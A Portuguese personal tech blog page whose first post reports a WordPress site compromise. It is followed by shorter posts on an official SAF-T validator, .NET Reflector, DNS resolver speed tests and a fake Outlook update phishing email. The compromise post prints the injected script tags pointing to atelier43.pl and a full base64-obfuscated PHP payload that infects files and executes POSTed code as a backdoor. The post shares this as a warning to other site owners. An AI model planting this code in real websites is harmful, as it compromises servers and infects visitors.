Aviso: Visitar este site poderá danificar o seu computador!

PrtSc Aviso do Chrome

Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, dai quando preciso se ir á net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:

O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno ““ ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.

Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.

 

depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:

<script src=http://atelier43.pl/images/gifimg.php ></script>

Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.

Nos ficheiros de javascript (.js):

document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>’);

Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH

ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF

jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj

aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF

0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx

iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2

RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja

F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM

nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF

xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc

3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp

LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK

CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW

E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR

zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM

sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24

gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R

pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ

pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B

xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h

cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn

QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9

jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J

fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ

vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2

9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.

Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.

Depois de várias pesquisas no Google tudo aponta para uma falha no WordPress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante á que me aconteceu.

Por isso aconselho todos os que tem sites em WordPress que verifiquem se estão infectados.

Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.

Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria á instalação de todos os plugins novamente.

Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.

Saft-PT Validador disponivel no Portal das Finanças

Tive agora conhecimento através de um comentário num post antigo sobre o SAFT de que as Finanças disponibilizam agora no seu site uma ferramenta que permite validar o ficheiro do SAFT.

O endereço da aplicação para validação é VALIDADOR DE FICHEIROS SAF-T_PT, é uma aplicação em JAVA por isso só necessitam de ter o dito instalado e aceder á página para poderem usar a ferramenta.

Esta aplicao verifica se o seu ficheiro SAF-T_PT, em formato XML, respeita as regras de estrutura definidas pela DGCI na Portaria n. 1192/2009, de 08 de Outubro, que alterou a Portaria n. 321-A/2007, de 26 de Março.
Este programa, se utilizado on-line valida o ficheiro SAF-T_PT, em formato XML, que indicar, sem que seja necessário transportar os dados para o servidor.

Além deste oficial, existem na internet muitos mais “validadores” disponiveis, mas creio que este será o local certo para validar.

Já agora aproveito para avisar para terem cuidado com os locais onde submetem os vosso ficheiros SAFT, não sabem quem é que está do outro lado e o que pode fazer com os vossos dados de facturação!!

Obrigado Mauricio pela dica.

Descompilar código .net (.net Refletor)

screenshot_full_screen

Uma das coisas que sempre me assustou no .net é a facilidade com que se consegue chegar ao código original de um executável ou libraria baseada na framework.

Existe uma serie de ferramentas que permitem de uma forma fácil, rápida e simples ver o código de uma aplicação .net.

Dessas ferramentas destaco uma que creio ser a mais popular que é o .NET Reflector da Redgate, para aceder ao código de uma aplicação basta clicar no botão browse e seleccionar a assembly que queremos ver o código e com o botão direito fazer disassemble. Claro que não incentivo ninguém a andar a esmiuçar o código de aplicações de terceiros. Eu uso frequentemente esta ferramenta para estudar o código das librarias da própia framework e ver como é que os senhores da Microsoft implementam certas funcionalidades e obter algumas luzes das melhores práticas a vários niveis na programação em “cima” da framework.

Comparação Velocidade Servidores DNS – part 2

Um leitor do blogue testou a velocidade da resolução dos mesmos dominios que eu no artigo anterior, com os mesmos servidores DNS mas apartir de um ISP diferente, e acrescentou á lista o Servidor DNS do seu ISP que é a Claranet PT.

Os resultados são que mostra a tabela seguinte:

_ antoniocampos.net microsoft.com digg.com fccn.pt
OpenDNS (208.67.222.222) 576 36 37 93
Google DNS (8.8.8.8) 55 48 51 135
Sapo (194.65.5.2) TimedOut TimedOut TimedOut Timed Out
Telepac (194.65.14.27) 16 11 21 11
PT-Prime(62.48.131.10) 20 13 12 17
Zon  (212.113.161.226) 16 15 14 11
Claranet PT (195.22.0.136) 10 22 10 14

Os resultados embora diferentes dos meus, revelam mais uma vez que os servidores do própio ISP são os que resolvem nomes mais rapidamente, pelos motivos expostos no artigo anterior.

Apesar de o autor da tabela não ter reclamado créditos da mesma, agradeço o trabalho e sobretudo a partilha do mesmo. Obrigado Zex.

Comparação Velocidade de Servidores DNS, qual o mais rápido?

Nos últimos tempos tenho assistido a muitas discussões sobre DNS, cada um tem a sua opinião quanto ao melhor serviço, de forma a dissipar as minhas duvidas resolvi fazer um teste simples para me dar uma ideia de qual o melhor serviço de resolução de nomes. Testei os seguintes servidores DNS:

OpenDNS (208.67.222.222)

Google DNS (8.8.8.8)

Sapo (194.65.5.2)

Telepac (194.65.14.27)

PT-Prime(62.48.131.10)

Zon Tv-Cabo (212.113.161.226)

O teste consiste num query simples pelo nome de alguns domínios, os domínios escolhidos foram os seguintes :

antoniocampos.net (Domínio pouco conhecido, quase de certeza que não existe em cache!)

microsoft.com (Domínio Popular* com muitos pedidos!!)

digg.com (Domínio Popular* com muitos pedidos!!)

fccn.pt (Domínio português com servidores DNS portugueses)

* 2 domínios nas mesmas condições para demonstrar que não é apenas a resposta do servidor DNS a quem efectuamos o pedidos de resolução que influencia o resultado.

Servidor DNS antoniocampos.net microsoft.com digg.com fccn.pt
OpenDns 417 50 51 15
Google DNS 62 54 61 129
Sapo 253 13 17 TimeOut
Telepac 13 18 13 101
Pt-prime 22 14 13 24
Zon 15 15 14 19

O resultado é expresso em mili-segundos medidos entre o pedido e a recepção da resposta.

A tabela é elucidativa, e confirma o que sempre defendi. Os servidores do OpenDNS e do Google ate podem ser rápidos, mas nós distantes fisicamente, mesmo que respondam muito rapidamente aos pedidos de resolução, o tempo que o nosso pedido demora a atravessar o Oceano e voltar também influi no tempo de resposta. O que sempre aconselhei é a utilização dos servidores DNS do ISP, uma vez que é uma ligação mais próxima e optimizada.

A forma como os próprios domínios estão configurados podem influenciar na velocidade do pedido, quando um domínio tem um TTL muito baixo os servidores de DNS tem que fazer queries mais frequentes o que leva a uma demora maior.

A popularidade do domínio também conta, uma vez que existe mais possibilidades de o mesmo já estar na cache do servidor DNS e aquando do nosso pedido o servidor já ter a resposta pronta e não tem que interrogar outros servidores, enquanto esperamos. Um teste simples para perceber isto é fazer 2 vezes o mesmo pedido e comparar a diferença de tempo de resposta entre o primeiro e o segundo.

Além destes muitos outros factores podem influir no tempo de resposta do Servidor DNS, tentar enumera-los seria um trabalho longo complexo e sempre incompleto.

Se quiserem fazer um teste idêntico a este, existe um comando em linux que é o Dig que permite obter o tempo de resposta de um servidor DNS para um determinado domínio a sintaxe é “dig @SERVIDORDNS DOMINIO” por exemplo dig @8.8.8.8 antoniocampos.net (pedir ao Google DNS o ip do domínio antoniocampos.net) o resultado será algo do género:

; <<>> DiG 9.10.3-P4-Debian <<>> @8.8.8.8 antoniocampos.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50108
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;antoniocampos.net. IN A

;; ANSWER SECTION:
antoniocampos.net. 299 IN A 104.28.16.20
antoniocampos.net. 299 IN A 104.28.17.20

;; Query time: 13 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; MSG SIZE rcvd: 78

Já agora o teste foi efectuado com uma ligação à internet da Telepac. Se quiserem partilhar os resultados com os mesmos servidores para os mesmos domínios mas através de outros ISP será interessante para comparar.

Microsoft Outlook Update, fake!

Recebi hoje um email a alertar para uma falha de segurança no Microsoft Outlook e no Outlook Express, a dita actualização tem o numero KB910721, é um email com aspecto bastante credivel inclusive o texto do link parece apontar para o site do Windows Update. O único senão é que o link afinal aponta para um site que não está relacionado com a Microsoft, embora a estrutura do url seja muito semelhante aos da Microsoft. O facto de o email não vir endereçado a mim também me fez suspeitar.

MicrosoftOutlookUpdateFake

Embora não seja meu costume avisar deste género de coisas, este email surpreendeu-me pelas semelhanças que tem com os emails que se recebem da Microsoft.

A Microsoft nunca envia links para actualizações ou que levem directamente a ficheiros para download, temos sempre que passar por aquelas páginas chatas do site com descrição do download, salvo raras excepções em que o mesmo é dito ao utilizador quando solicita o download no site.